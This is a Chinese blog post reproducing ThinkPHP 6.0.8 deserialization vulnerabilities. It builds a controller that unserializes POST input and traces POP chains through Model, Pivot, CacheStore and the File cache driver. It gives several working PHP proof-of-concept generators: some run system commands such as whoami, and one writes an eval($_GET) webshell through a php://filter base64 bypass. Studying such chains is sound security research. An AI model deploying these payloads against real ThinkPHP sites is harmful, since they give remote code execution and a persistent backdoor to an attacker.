tp6.0.8反序列化漏洞的一些看法

于 2024-09-13 15:42:23 发布
阅读量695 收藏 9
点赞数 10
文章标签： android
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/wuwenshequ/article/details/142212679
版权
更多漏洞分析的内容，可前往无问社区查看icon-default.png?t=O83Ahttp://www.wwlib.cn/index.php/artread/artid/5741.html
环境搭建
composer create-project topthink/think=6.0.x-dev thinkphp-v6.0

首先构造一个反序列化点

app/controller/Index.php

<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        if (isset($_POST['data'])) {
            @unserialize($_POST['data']);
        }
        highlight_string(file_get_contents(__FILE__));
    }
}

在 ThinkPHP5.x 的POP链中，入口都是 think\process\pipes\Windows 类，通过该类触发任意类的 __toString 方法。但是 ThinkPHP6.x 的代码移除了 __toString 之后的 Gadget 仍然存在，所以我们得继续寻找可以触发 think\process\pipes\Windows 类，而POP链先从起点 __destruct() 或 __toString 方法的点。__wakeup 方法开始，因为它们就是unserialize的触发点。

寻找 __destruct 方法

我们全局搜索 __destruct() 方法，这里发现了 /vendor/topthink/think-orm/src/Model.php 中

Model 类的 __destruct 方法：

图片

当$ this->lazySave 为真时，调用save方法，跟进save方法

图片

跟进这里对 $this->exists 属性进行判断，如果为true则调用updateData()方法，如果为false则调用insertData()方法。而要想到达这一步，需要先满足下面这个if语句：

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
 return false;
 }

只需 $this->isEmpty() 为返回false，$this->trigger('BeforeWrite') 返回true即可。

进 $this->isEmpty() 方法：

public function isEmpty(): bool
 {
 return empty($this->data);
 }

这里$this->data 不为空即可

跟进$this->trigger() 方法

图片

此处需要满足$this->withEvent 为false

之后当 $this->exists == true 时进入 $this->updateData() ；当 入 ，$this->exists == false 时进$ this->insertData()

先跟进updateData()方法

图片

这里下一步的利用点存在于 $this->checkAllowFields() 中，但是要进入并调用该函数，需要先通过

两处if语句：

通过①处if语句：通过上面对trigger()方法的分析，我们知道需要令 $this->withEvent == false 即可通过。由于前面已经绕过了save()方法中的trigger()，所以这里就不用管了。

通过②处if语句：需要 $data == 1（非空）即可，所以我们跟进 $this->getChangedData() 方法（位于vendor\topthink\think-orm\src\model\concern\Attribute.php中）看一下：

图片

我们只需要令 $this->force == true 即可直接返回 $this-data ，而我们之前也需要设置 data 为非空。回到 $this updateData() 中，之后就可以成功调用到了 $this->checkAllowFields() ，跟进该函数

图片

这里需要调用到$this->db 方法，所以需令 $this->field 为空并且$this->schema 也为空。

图片

这两个字段默认为空，所以不需要管

之后进入db方法

图片

在该方法中使用了.进行字符串拼接，我们可以把 $this->table 或 $this->suffix 设置成相应的类对象，此时通过 . 拼接便可以把类对象当做字符串，就可以触发 __toString() 方法了

目前为止，前半条POP链已经完成，即可以通过字符串拼接去调用 __toString() ，所以先总结一下我们需要设置的点：

$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true

调用过程如下：

PHP
 __destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . 
$this->suffix（字符串拼接）——>toString()
寻找 __toString() 方法

既然前半条POP链已经能够触发 __toString() 了，下面就是寻找利用点。这次漏洞的 __toString() 利用点位于 vendor\topthink\think-orm\src\model\concern\Conversion.php 中名为Conversion 的trait中：

public function __toString()
 {
 return $this->toJson();
 }

跟进toJson

 public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
 {
 return json_encode($this->toArray(), $options);
 }

跟进toArray

图片

跟进 getAttr()

图片

先看返回值 的 $this->getValue

这里的

$closure = $this->withAttr[$fieldName];
$value   = $closure($value, $this->data);

注意看这里，我们是可以控制$this->withAttr 的，那么就等同于控制了$closure 可以作为动态函数，执行命令。根据这个点，我们来构造pop。

图片

POP链构造

入口点在src/Model.php 的__destruct ，我们需要控制函数$this->lazySave 为真来进入if循环调用save函数。

图片

在save函数中需要使$this->isEmpty() 为false，也就是$this->data 不为空，并且$this->trigger为true，也就是$this->withEvent 为true，该属性在src/model/concern/ModelEvent.php 中。之后再使$this->exists 为true即可进入updateData方法

图片

进入了updateDate方法之后，由于前面的$this->trigger 已经为true，只需要$data 不为空即可调用$ this->checkAllowFields() 方法，也就是src/model/concern/Attribute.php 里的getChangedDate方法不为空

图片

在getChangedDate中，如果$this->force 为true，则直接返回$this->date ，而已经不为空了

图片

$this->data 前面所以要想进入checkAllowFields方法，需要满足下满的条件

$this->lazySave == true
 $this->data不为空
$this->withEvent == false
 $this->exists == true
 $this->force == true

model 类是复用了trait 类 的，可以访问其属性，和方法。Model 类 是抽象类，不能被实例化，所以我们还需要找到其子类。

Pivot 类就是我们需要找的类。

现在已经成功执行到了 $this->checkAllowFields() ，还得进入 $this->db()

图片

这里只需要

$this->field 为空，

$this->schema 也为空即可进入db方法

图片

将 $this->name 或 $this->suffix 设置为含有_tostring的类对象就可以触发此魔术方法

这里注意的是，我们需要触发-tostring 的类是conversion 类而这个类是trait类，而当前的mode1类是 复用了 conversion 类的，所以我们相当于重新调用一遍 pivot 类。也就是重新调用一下自己，触发自己的的-tostring方法

调用__toString 方法的poc
 <?php
 namespace think\model\concern;
 trait Attribute{
 private $data=['456'=>'123'];
 }
 trait ModelEvent{
 protected $withEvent = true;
 }
 namespace think;
 abstract class Model{
 use model\concern\Attribute;
 use model\concern\ModelEvent;
 private $exists;
 private $force;
 private $lazySave;
 protected $suffix;
 function __construct($a = '')
 {
 $this->exists = true;
 $this->force = true;
 $this->lazySave = true;
 $this->withEvent = false;
 $this->suffix = $a;
 }
 }
 namespace think\model;
 use think\Model;
 class Pivot extends Model{}
 echo urlencode(serialize(new Pivot(new Pivot())));
 ?>

之后便是__toString 的构造了，在vendor/topthink/thinkorm/src/model/concern/Conversion.php 里面。首先是进入toJson

图片

然后调用toArray

图片

在toArray中会调用getAttr

图片

前面两个foreach 不做处理，再下来这个foreach会进入最后一个if分支)，调用getAttr方法。这个foreach是遍历$this->data，然后将$data的$key传入 getAttr

该函数是在src/mode1/concern/Attribute.php中

图片

然后进入getValue

图片

我们只需要将$closure设置为system等函数即可执行任意命令，也就是$this->withAttr[$fie1dName] ,也就是$this->withAttr[$this->getRea7Fie1dName($name)]

图片

其中$this->strict默认为true，如果将sthis->convertNameTocame1设置为false，则会直接返回$name

所以就相当于$this->withAttr[$name]为一个命令执行函数，$name就是getAttr中的$key，也就是$data的键值

图片

其中参数值就是$this->getData($name)

图片

相当于data数组中的键值。withAttr数组中的键值为函数，data数组中的键值为参数，并且键名需要相同

命令执行POC1

<?php
namespace think\model\concern;

trait Attribute {
    private $data = ['cyz' => 'whoami'];
    private $withAttr = ['cyz' => 'system'];
}

trait ModelEvent {
    protected $withEvent = true;
}

namespace think;

abstract class Model {
    use model\concern\Attribute;
    use model\concern\ModelEvent;

    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;

    function __construct($a = '') {
        $this->exists = true;
        $this->force = true;
        $this->lazySave = true;
        $this->withEvent = false;
        $this->suffix = $a;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model {}

echo urlencode(serialize(new Pivot(new Pivot())));
?>

图片

命令执行POC2

也可以直接令$this->exists = false;，进入insertData方法，直接调用db

<?php
namespace think\model\concern;

trait Attribute {
    private $data = ['cyz' => 'whoami'];
    private $withAttr = ['cyz' => 'system'];
}

trait ModelEvent {
    protected $withEvent = true;
}

namespace think;

abstract class Model {
    use model\concern\Attribute;
    use model\concern\ModelEvent;

    private $exists;
    private $lazySave;
    protected $suffix;

    function __construct($a = '') {
        $this->exists = false;
        $this->lazySave = true;
        $this->withEvent = false;
        $this->suffix = $a;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model {}

echo urlencode(serialize(new Pivot(new Pivot())));
?>
其他利用链
寻找__destruct方法


在vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php 文件中找到个可以利用的__destruct 方法

图片

当$this->autosave为false时进入save方法

进入save函数，发现并没有实现什么功能，所以我们需要寻找Abstractcache类的子类有没有实现该函数

在src/think/filesystem/cachestore.php中存在符合条件的子类

图片

这里$this->store可控，所以我们可以触发任意类的set方法，只要找到任意类存在危险操作的set方法即可利用

跟进getForStorage函数

$this->cache可控，$this->complete可控，因此$contents可控，只不过经过一次json编码

图片

寻找危险的set方法

图片

在vendor/topthink/framework/src/think/cache/driver/File.php 中存在符合条件的set方法

public function set($name, $value, $expire = null): bool
 {
 $this->writeTimes++;
 if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        $expire   = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);
        $dir = dirname($filename);
        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . 
$data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            clearstatcache();
            return true;
        }
        return false;
    }

$this->getExpireTime($expire)是返回一个整数，跟进getCacheKey

图片

$this->options可控，所以getcacheKey返回的值可控跟进一下serialize

图片

$this->options[ 'serialize'][0]可控，$serialize可控，$data为我们传入set函数的

$value，也就是$this->store->set($this->key，$contents，$this->expire);中的$content，是可控的。只不过此时$data经过json编码

所以这里可以构造动态代码执行

POC1
<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache{
}

namespace think\cache;
use think\cache\Driver;
abstract class Driver{
}

namespace think\cache\driver;
use think\cache\driver;
class File extends Driver{
    protected $options = [];
    public function __construct(){
        $this->options = [
            'expire'         => 0,
            'cache_subdir'   => false,
            'prefix'         => '',
            'path'           => '',
            'hash_type'      => '',
            ''               => '',
            ''               => 'md5',
            'data_compress'  => false,
            'tag_prefix'     => 'tag:',
            'serialize'      => ['system']
        ];
    }
}

namespace think\filesystem;
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache{
    protected $store;
    protected $key;
    protected $autosave;
    protected $complete;
    public function __construct($store)
    {
        $this->autosave = false;
        $this->key = "1";
        $this->complete = '`sleep 10`';
        $this->store  = $store;
    }
}

use think\cache\driver\file;
$a = new CacheStore(new File());
echo serialize($a);
echo "<br>";
echo urlencode(serialize($a));
?>

图片

这里成功调用了systm命令，在linux中可以使用反引号来进行无回显的命令执行
继续往下会看到一个任意文件写入

$data   
= "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

经典“死亡exit"，可以伪协议绕过，最后文件名是$key的md5$name = hash($this->options['hash_type'],$name);

$name为文件名，来源于$this->key，可控，$this->options['hash_type]也可控。最终文件名是经过hash后的，所以最终文件名可控（本文演示POC中$key= "1",$this->options['hash_type']= 'md5',所以最终文件名为1的md5值)。

$this->options['path']使用php filter构造php:/lfilter/write=convert.base64-decode/resource=think/public/指向tp6根目录

最终拼接后的$filename为

php:/lfilterlwrite=convert.base64-decode/resource=./

此外，为了确保php伪协议进行base64解码之后我们的shell不受影响，所以要计算解码前的字符数。假设传入的$expire=0，那么shell前面部分在拼接之后能够被解码的有效字符为:

php//000000000001exit共有21个，要满足base64解码的4字符为1组的规则，在其前面补上3个字符用于逃逸之后的base64解码的影响。但是实际上会少一个<所以在base64编码的时候需要使用两个<<

图片

POC2


https://www.heibai.org/1604.html
https://www.cnblogs.com/20175211lyz/p/13639789.html
https://new.qq.com/omn/20200629/20200629A0RG1800.html

<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache{
}

namespace think\cache;
use think\cache\Driver;
abstract class Driver{
}

namespace think\cache\driver;
use think\cache\driver;
class File extends Driver{
    protected $options = [];
    public function __construct(){
        $this->options = [
            'expire'         => 0,
            'cache_subdir'   => false,
            'prefix'         => '',
            'path'           => './',
            'hash_type'      => '',
            ''               => 'php://filter/write=convert.base64',
            ''               => 'md5',
            'data_compress'  => false,
            'tag_prefix'     => 'tag:',
            'serialize'      => ['trim']      //使用trim去掉[]
        ];
    }
}

namespace think\filesystem;
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache{
    protected $store;
    protected $key;
    protected $autosave;
    protected $complete;
    public function __construct($store)
    {
        $this->autosave = false;
        $this->key = "1";
        $this->complete = 'uuuPDw/cGhwIHBocGluZm8oKTtldmFsKCRfR0VUWzFdKTs/PiA=';
        $this->store  = $store;
    }
}

use think\cache\driver\file;
$a = new CacheStore(new File());
echo serialize($a);
echo "<br>";
echo urlencode(serialize($a));
?>

图片

POC3

https://yq1ng.github.io/z_post/ctfshow-thinkphp%E4%B8%93%E9%A2%98/

<?php
namespace League\Flysystem\Cached\Storage {
    use League\Flysystem\Adapter\Local;
    class Adapter {
        protected $autosave = true;
        protected $expire = null;
        protected $adapter;
        protected $file;
        public function __construct() {
            $this->autosave = false;
            $this->expire = '<?php ;?>';
            $this->adapter = new Local();
            $this->file = 'yq1ng.php';
        }
    }
}
namespace League\Flysystem\Adapter {
    class Local {
    }
}
namespace {
    use League\Flysystem\Cached\Storage\Adapter;
    echo urlencode(serialize(new Adapter()));
}
无问社区
关注
TP6.0.8后台管理系统框架（简单版）.rar
01-22
标题中的"TP6.0.8后台管理系统框架（简单版）.rar"指的是基于ThinkPHP6.0.8版本开发的一个简易的后台管理系统的源代码压缩包。这个系统框架是为便于快速构建企业级Web应用而设计的，适用于初学者和有一定经验的...
TP6.0.8后台管理系统框架.rar
06-23
1.框架：x-admin TP6 layui 2.已加载多应用模式，模板引擎，验证码功能 3.基础版的后台登录，账号管理系统，已封装好各个模块，自定义抛出异常，基础控制器，验证器等 4.源码架构学习，拿来直接做项目都可以 5.带...
Thinkphp6.0.x反序列化漏洞复现
shinygod的博客
11-20 2268
Thinkphp6.0.x反序列化漏洞复现
ThinkPHP v6.0.8 CacheStore 反序列化漏洞
errorr0
08-03 2202
thinkphp6 漏洞
Thinkphp6.0 反序列化漏洞
feng的博客
03-12 2114
准备 创建工程： composer create-project topthink/think thinkphp6.0.1 "require": { "php": ">=7.1.0", "topthink/framework": "6.0.1", "topthink/think-orm": "^2.0" }, composer update index控制器： <?php namespace app\controller;
ThinkPHP6.0 反序列化漏洞
Sentiment的博客
05-31 3061
当时学tp就是为了国赛，审了审3和5的寻思已经够用了肯定不能出6的吧就没再审，没想到这次就出了6.012的反序列化还好很简单，所以还是回过头审一遍吧 配置 序言 · ThinkPHP6.0完全开发手册 · 看云 (kancloud.cn) 6.0.1 composer create-project topthink/think tp6.0.1 "require": { "php": ">=7.1.0", "topthink/framework": "6.0.1
windows版本redis6.0.8
10-03
在Windows环境下使用Redis时，需要注意一些特定的问题： 1. **性能优化**：由于Windows与Linux的系统差异，Windows上的Redis可能无法达到同样的性能水平。确保系统资源充足，如关闭不必要的后台程序，优化磁盘I/O...
redis6.0.8安装文件.zip
12-16
在这个场景中，我们关注的是Redis 6.0.8在Linux环境下的编译安装过程，以及相关的配置文件设置。以下是对这个过程的详细阐述： 首先，我们需要从压缩包"redis6.0.8安装文件.zip"中提取出编译安装所需的文件。这包括...
攻防世界 Web_php_unserialize
beiweixiaotian66的博客
09-07 797
因为GET传参还要经过一个Base64的解码，所以对这个表达式还要经过base64的加密。因为前面还有个正则表达式，所以我们还需要绕过这个正则表达式，使用。然后我们知道怎么绕过了，可不可以直接自己手动绕过，base加密捏。如果表示对象属性个数的值大于真实的属性个数时，就可以绕过。代表着后面的变量名长度应是10，但好像只有八位？表示空字符，但是还是占用一个字符位置。但是这样的base和上面不一样。，这样base出来就是一样的了。方法，写一个反序列化的脚本。这道题我们需要的文件是。,所以我们主要需要绕过。
android kotlin 基础复习 继承 inherit
花花鱼的专栏
09-09 543
android kotlin 基础复习 继承 inherit
Android13_SystemUI下拉框新增音量控制条
十年饮冰，难凉热血
09-09 1101
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档。
android kotlin 数据类 data class
花花鱼的专栏
09-08 489
android kotlin 数据类 data class
Android 跳转至各大应用商店应用详情页
qq_32136827的博客
09-06 672
华为、小米、红米、OPPO、一加、Realme、VIVO、IQOO、荣耀、魅族、三星。
Android 12 SystemUI下拉状态栏禁止QuickQSPanel展开
shi450561200的博客
09-08 727
遇到需求，QuickQSPanel首次下拉后展示快捷功能模块以后就是显示QuickQSPanel，而不展开QSPanel，接下来要从下滑手势下拉出状态栏分析功能实现。也就是直接是展开状态。
【Sceneform-EQR】通过sceneform-eqr实现一个视频播放器（使用安卓MediaPlayer实现视频播放）
一个AR程序猿的博客
09-07 1319
在前一篇文档中介绍了如何在AR\三维场景创建几种背景，本文将侧重介绍如何使用安卓MediaPlayer实现视频播放。
Android13 Launcher3屏蔽桌面指示器
最新发布
09-12 249
Launcher3自定义开发，屏蔽分页指示器
Android 源码中jni项目 加载so目录小结
wenzhi的博客
09-06 1016
如何实现把so放到Android设备目录system/lib64下面，系统应用apk就能自动获取里面的so？如果实现了这个功能，后续修改了jni具体功能实现，就不用修改这个apk的代码，只要替换这个so就可以完成不同的实现了。其实这个功能不难，只要是系统源码编译的应用就可以；具体如何编译可以看本文最后的介绍。本文主要介绍一下，系统源码应用编译后，load so的顺序：顺序就是优先apk目录下的 lib/arm64/，然后 system/lib64/，有的还会加载 vendor/lib64/
Android的内核
jmshl的专栏
09-12 448
总的来说，在深入了解Android内核后，可以看到它不仅仅是操作系统的核心部分，而是支撑整个Android生态系统的关键。从内核的结构和版本管理到与硬件的复杂互动，每一个环节都是确保设备正常运行的重要组成部分。Android作为一个广泛使用的操作系统，其根基在于内核的设计和功能。
docker 安装6.0.8redis
03-26
要安装Docker 6.0.8版本的Redis容器，您可以按照以下步骤进行操作： 1. 确保您的系统已安装Docker。如果您尚未安装Docker，请根据您的操作系统和发行版选择合适的安装方式。 2. 打开终端或命令提示符，并执行以下命令来拉取Redis镜像： ```bash docker pull redis:6.0.8 ``` 这将从Docker Hub下载最新版本的Redis镜像。 3. 下载完成后，您可以使用以下命令创建一个名为"redis"的容器，并将Redis容器启动： ```bash docker run --name redis -d redis:6.0.8 ``` 这将启动一个新的Redis容器并使其在后台运行。您可以使用`-d`选项来将容器作为后台进程运行，而使用`-d`选项。 4. 现在，您的Redis容器已经成功安装并运行。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值